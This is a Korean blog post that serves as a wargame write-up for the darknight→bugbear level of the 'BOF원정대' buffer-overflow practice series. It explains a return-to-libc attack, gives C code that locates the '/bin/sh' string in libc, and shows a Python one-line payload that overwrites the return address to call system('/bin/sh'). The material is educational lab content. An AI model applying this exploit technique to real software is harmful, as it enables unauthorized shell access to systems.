nemo의 이야기

BOF원정대 darknight -> bugbear 본문

Information security/System security

BOF원정대 darknight -> bugbear

nemojjong 2018. 1. 28. 18:04

 

코드를 확인하면

 

1. RET를 스택 영역으로 둘 수 없다.

 

이를 해결하기 위해 RTL(Return to library)를 이용해서 공격 하면 된다.

 

RTL이란 리턴 값을 라이브러리가 있는 위치로 바꿔서 공격하는 방식이다.

 

우선 system 라이브러리가 위치하는 주소를 확인을 해보자

 

 

주소는 40058ae0이다

 

그리고 공유라이브러리에 /bin/sh에 주소를 찾아보자

 

그럴려면 c파일로 찾아보자


#include <stdio.h>


int main()
{
  char *sh = 0x40058ae0;

  while( memcmp(sh, "/bin/sh", 7)) {
    sh++;
  }
  printf("find shell : 0x%08x \n",sh);
  return 0;
}

 

실행 시켜보면

 

/bin/sh에 주소는 400fbff9 라는 것을 확인할 수 있다.

 

이제 공격 코드를 작성해보자

 

$(python -c 'print "A"*44 + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"')

 

 

공격에 성공한 것을 확인할 수 있다.

 

 

 

'Information security > System security' 카테고리의 다른 글

BOF원정대 giant -> assassin  (0) 2018.02.07
BOF원정대 bugbear -> giant  (0) 2018.01.28
BOF원정대 golem -> darknight  (0) 2018.01.28
BOF원정대 skeleton -> golem  (0) 2018.01.25
BOF원정대 vampire -> skeleton  (0) 2018.01.19
Comments